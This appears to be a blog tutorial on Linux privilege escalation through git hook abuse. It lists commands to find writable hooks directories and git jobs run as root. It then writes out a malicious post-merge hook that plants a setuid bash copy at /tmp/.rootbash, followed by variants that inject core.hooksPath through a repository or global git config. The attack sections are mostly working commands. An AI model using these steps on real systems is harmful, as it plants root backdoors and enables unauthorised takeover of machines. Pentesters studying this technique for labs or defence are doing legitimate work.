Skip to content
HackIndex logo

HackIndex

Git Hook Abuse for Linux Privilege Escalation

2 min read Jul 14, 2026

Git hooks are scripts in .git/hooks/ that execute automatically on specific git events — commits, merges, pushes, checkouts. When root runs git in a repository where you can write to the .git/hooks/ directory, your hook script executes as root. This is common in deployment pipelines, automated backup scripts, and CI/CD setups running as root.

Prerequisites Check

Find git repositories on the system and check write access to their hooks directories:

# Find .git directories
find / -name ".git" -type d 2>/dev/null | grep -v "^/proc\|^/sys"

# Check write access to hooks directories
find / -path "*/.git/hooks" -type d 2>/dev/null | while read hookdir; do
    [ -w "$hookdir" ] && echo "WRITABLE: $hookdir"
done

# Check for git in processes run by root
ps aux | grep root | grep git

Check cron jobs and systemd services running git:

┌──(kali㉿kali)-[~]
└─$ grep -r "git\|pull\|push\|commit" /etc/cron* /var/spool/cron* 2>/dev/null | grep -v "^Binary"
┌──(kali㉿kali)-[~]
└─$ grep -r "ExecStart.*git" /etc/systemd/system/ /lib/systemd/system/ 2>/dev/null

Identifying the Right Hook

Different git operations trigger different hooks. Match the hook to the operation root is performing:

Operation

Hook

Trigger

git commit

pre-commit, post-commit

Before/after commit

git push

pre-push, post-receive

Before/after push

git pull / git merge

post-merge

After successful merge

git checkout / git switch

post-checkout

After checkout

git rebase

post-rewrite

After rebase

Any git command

pre-auto-gc

Before garbage collection

If root runs git pull as part of a deployment cron job, post-merge fires when the pull brings in new commits.

Planting a Hook

Step 1 — Confirm the repository and writable hooks directory:

┌──(kali㉿kali)-[~]
└─$ ls -la /path/to/repo/.git/hooks/

Step 2 — Identify which operation root runs:

┌──(kali㉿kali)-[~]
└─$ # Check the script or cron entry
┌──(kali㉿kali)-[~]
└─$ cat /path/to/deploy-script.sh | grep git
┌──(kali㉿kali)-[~]
└─$ # e.g. git -C /var/www/app pull origin main

Step 3 — Write the malicious hook:

┌──(kali㉿kali)-[~]
└─$ cat > /path/to/repo/.git/hooks/post-merge << 'EOF'
#!/bin/sh
cp /bin/bash /tmp/.rootbash
chmod u+s /tmp/.rootbash
EOF
 
┌──(kali㉿kali)-[~]
└─$ chmod +x /path/to/repo/.git/hooks/post-merge

Step 4 — Wait for the git operation to trigger:

For a git pull cron job, wait for the next cron interval. For a manual deployment, it fires on the next execution.

After the hook runs:

┌──(kali㉿kali)-[~]
└─$ /tmp/.rootbash -p
┌──(kali㉿kali)-[~]
└─$ whoami

core.hooksPath Injection

If root runs git in a repository where you can write the .git/config file, redirect the hooks path to a directory you control entirely:

# Check if .git/config is writable
ls -la /path/to/repo/.git/config

# If writable, add a custom hooksPath
git -C /path/to/repo config core.hooksPath /tmp/hooks

# Create your hooks directory and hook
mkdir -p /tmp/hooks
cat > /tmp/hooks/post-merge << 'EOF'
#!/bin/sh
cp /bin/bash /tmp/.rootbash
chmod u+s /tmp/.rootbash
EOF
chmod +x /tmp/hooks/post-merge

Now every git operation in that repository uses your /tmp/hooks/ directory.

Global git Config Injection

If you can write to root's global git configuration (/root/.gitconfig or ~root/.gitconfig), set a global hooksPath that applies to all repositories root operates in:

┌──(kali㉿kali)-[~]
└─$ ls -la /root/.gitconfig 2>/dev/null

If readable and the repository uses global config inheritance:

┌──(kali㉿kali)-[~]
└─$ # Check if it's writable (rare but possible on misconfigured systems)
┌──(kali㉿kali)-[~]
└─$ test -w /root/.gitconfig && echo "WRITABLE"

If writable:

/root/.gitconfig

[core]
    hooksPath = /tmp/hooks

Finding Deployments That Use git as Root

Common patterns in labs:

┌──(kali㉿kali)-[~]
└─$ # Web deployments
┌──(kali㉿kali)-[~]
└─$ find /var/www /srv /opt -name ".git" -type d 2>/dev/null
 
┌──(kali㉿kali)-[~]
└─$ # Automated pull scripts
┌──(kali㉿kali)-[~]
└─$ grep -r "git pull\|git fetch\|git checkout" /etc/cron* /opt /usr/local/bin 2>/dev/null | grep -v "^Binary"
 
┌──(kali㉿kali)-[~]
└─$ # Check if any web app's directory is a git repo owned by root
┌──(kali㉿kali)-[~]
└─$ find /var/www -name ".git" -type d 2>/dev/null | while read gitdir; do
repo=$(dirname "$gitdir")
owner=$(stat -c "%U" "$gitdir")
echo "REPO: $repo | OWNER: $owner"
ls -la "$gitdir/hooks/"
done

References